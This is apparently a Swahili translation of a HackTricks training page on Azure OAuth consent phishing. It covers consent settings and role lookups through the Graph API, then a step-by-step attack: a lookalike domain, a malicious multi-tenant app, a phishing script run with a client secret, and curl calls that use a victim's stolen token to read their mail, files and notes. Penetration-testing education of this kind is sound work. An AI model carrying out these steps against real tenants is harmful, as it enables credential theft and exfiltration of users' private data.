8.9 KiB
Az - OAuth Apps Phishing
{{#include ../../../banners/hacktricks-training.md}}
OAuth App Phishing
Azure Applications zimewekwa na ruhusa ambazo zitakuwa na uwezo wa kutumia wakati mtumiaji anapokubali programu (kama kuhesabu directory, kufikia faili, au kufanya vitendo vingine). Kumbuka, kwamba programu itakuwa ikifanya kwa niaba ya mtumiaji, hivyo hata kama programu inaweza kuwa inahitaji ruhusa za usimamizi, ikiwa mtumiaji anayekubali hana ruhusa hiyo, programu haitaweza kufanya vitendo vya usimamizi.
Ruhusa za kukubali programu
Kwa kawaida, mtumiaji yeyote anaweza kutoa ruhusa kwa programu, ingawa hii inaweza kuwekwa ili watumiaji waweze kukubali tu programu kutoka kwa wachapishaji waliothibitishwa kwa ruhusa zilizochaguliwa au hata kuondoa ruhusa kwa watumiaji kukubali programu.

Ikiwa watumiaji hawawezi kukubali, wasimamizi kama GA, Application Administrator au Cloud Application Administrator wanaweza kukubali programu ambazo watumiaji wataweza kutumia.
Zaidi ya hayo, ikiwa watumiaji wanaweza kukubali tu programu zinazotumia ruhusa za hatari ndogo, ruhusa hizi kwa kawaida ni openid, profile, email, User.Read na offline_access, ingawa inawezekana kuongeza zaidi kwenye orodha hii.
na ikiwa wanaweza kukubali programu zote, wanaweza kukubali programu zote.
Aina 2 za mashambulizi
- Hawajaidhinishwa: Kutoka kwa akaunti ya nje, tengeneza programu yenye ruhusa za hatari ndogo
User.ReadnaUser.ReadBasic.Allkwa mfano, phish mtumiaji, na utaweza kufikia taarifa za directory. - Hii inahitaji mtumiaji aliyephished kuwa na uwezo wa kukubali programu za OAuth kutoka kwa mpangilio wa nje
- Ikiwa mtumiaji aliyephished ni msimamizi ambaye anaweza kukubali programu yoyote yenye ruhusa yoyote, programu hiyo inaweza pia kuomba ruhusa za kipaumbele
- Iliyothibitishwa: Baada ya kuathiri mtu mwenye ruhusa za kutosha, tengeneza programu ndani ya akaunti na phish mtumiaji aliyepata kipaumbele ambaye anaweza kukubali ruhusa za kipaumbele za OAuth.
- Katika kesi hii tayari unaweza kufikia taarifa za directory, hivyo ruhusa
User.ReadBasic.Allsi ya kuvutia tena. - Huenda unavutiwa na ruhusa zinazohitaji msimamizi kuzipatia, kwa sababu mtumiaji wa kawaida hawezi kutoa ruhusa yoyote kwa programu za OAuth, ndio maana unahitaji kuphish tu watumiaji hao (zaidi kuhusu ni nafasi/ruhusa zipi zinatoa kipaumbele hiki baadaye)
Watumiaji wanaruhusiwa kukubali
Kumbuka kwamba unahitaji kutekeleza amri hii kutoka kwa mtumiaji ndani ya mpangilio, huwezi kupata usanidi huu wa mpangilio kutoka nje. CLI ifuatayo inaweza kusaidia kuelewa ruhusa za watumiaji:
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
- Watumiaji wanaweza kukubali programu zote: Ikiwa ndani ya
permissionGrantPoliciesAssignedunaweza kupata:ManagePermissionGrantsForSelf.microsoft-user-default-legacybasi watumiaji wanaweza kukubali kila programu. - Watumiaji wanaweza kukubali programu kutoka kwa wachapishaji waliothibitishwa au shirika lako, lakini tu kwa ruhusa unazochagua: Ikiwa ndani ya
permissionGrantPoliciesAssignedunaweza kupata:ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-teambasi watumiaji wanaweza kukubali kila programu. - Zima kukubali kwa mtumiaji: Ikiwa ndani ya
permissionGrantPoliciesAssignedunaweza tu kupata:ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chatnaManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-teambasi watumiaji hawawezi kukubali chochote.
Inawezekana kupata maana ya kila sera iliyotajwa katika:
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
Wasimamizi wa Programu
Angalia watumiaji wanaoonekana kama wasimamizi wa programu (wanaweza kukubali programu mpya):
# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"
# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
Muhtasari wa Mchakato wa Shambulio
Shambulio linajumuisha hatua kadhaa zinazolenga kampuni ya kawaida. Hapa kuna jinsi linavyoweza kuendelea:
- Usajili wa Kikoa na Kuweka Programu: Mshambuliaji anasajili kikoa kinachofanana na tovuti ya kuaminika, kwa mfano, "safedomainlogin.com". Chini ya kikoa hiki, subdomain inaundwa (kwa mfano, "companyname.safedomainlogin.com") ili kuweka programu iliyoundwa kukamata nambari za idhini na kuomba alama za ufikiaji.
- Usajili wa Programu katika Azure AD: Mshambuliaji kisha anasajili Programu ya Multi-Tenant katika Tenant yake ya Azure AD, akiiita kwa jina la kampuni lengwa ili kuonekana halali. Wanakamilisha URL ya Redirect ya programu kuelekea subdomain inayohifadhi programu mbaya.
- Kuweka Ruhusa: Mshambuliaji anapanga programu hiyo na ruhusa mbalimbali za API (kwa mfano,
Mail.Read,Notes.Read.All,Files.ReadWrite.All,User.ReadBasic.All,User.Read). Ruhusa hizi, mara tu zinapopewa na mtumiaji, zinamruhusu mshambuliaji kutoa taarifa nyeti kwa niaba ya mtumiaji. - Kusambaza Viungo Mbaya: Mshambuliaji anaunda kiungo kinachokuwa na kitambulisho cha mteja wa programu mbaya na kukishiriki na watumiaji walengwa, akiwadanganya kutoa idhini.
Mfano wa Shambulio
- Sajili programu mpya. Inaweza kuwa tu kwa saraka ya sasa ikiwa unatumia mtumiaji kutoka saraka iliyoathiriwa au kwa saraka yoyote ikiwa hii ni shambulio la nje (kama katika picha ifuatayo).
- Pia weka redirect URI kwa URL inayotarajiwa ambapo unataka kupokea nambari za kupata alama (
http://localhost:8000/callbackkwa chaguo-msingi).

- Kisha tengeneza siri ya programu:

- Chagua ruhusa za API (kwa mfano,
Mail.Read,Notes.Read.All,Files.ReadWrite.All,User.ReadBasic.All,User.Read)

- Tekeleza ukurasa wa wavuti (azure_oauth_phishing_example) unaoomba ruhusa:
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
- Tuma URL kwa mwathirika
- Katika kesi hii
http://localhost:8000 - Waathirika wanahitaji kukubali ombi:

- Tumia token ya ufikiaji kupata ruhusa zilizotakiwa:
export ACCESS_TOKEN=<ACCESS_TOKEN>
# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
Zana Nyingine
- 365-Stealer: Angalia https://www.alteredsecurity.com/post/introduction-to-365-stealer kujifunza jinsi ya kuikamilisha.
- O365-Attack-Toolkit
Baada ya Kutekeleza
Uvuvi Baada ya Kutekeleza
Kulingana na ruhusa zilizotolewa unaweza kuwa na uwezo wa kupata data tofauti za mpangaji (orodha ya watumiaji, vikundi... au hata kubadilisha mipangilio) na taarifa za mtumiaji (faili, maelezo, barua pepe...). Kisha, unaweza kutumia ruhusa hizi kufanya vitendo hivyo.
Programu Baada ya Kutekeleza
Angalia sehemu za Programu na Msingi wa Huduma wa ukurasa:
{{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}}
Marejeleo
- https://www.alteredsecurity.com/post/introduction-to-365-stealer
- https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/
{{#include ../../../banners/hacktricks-training.md}}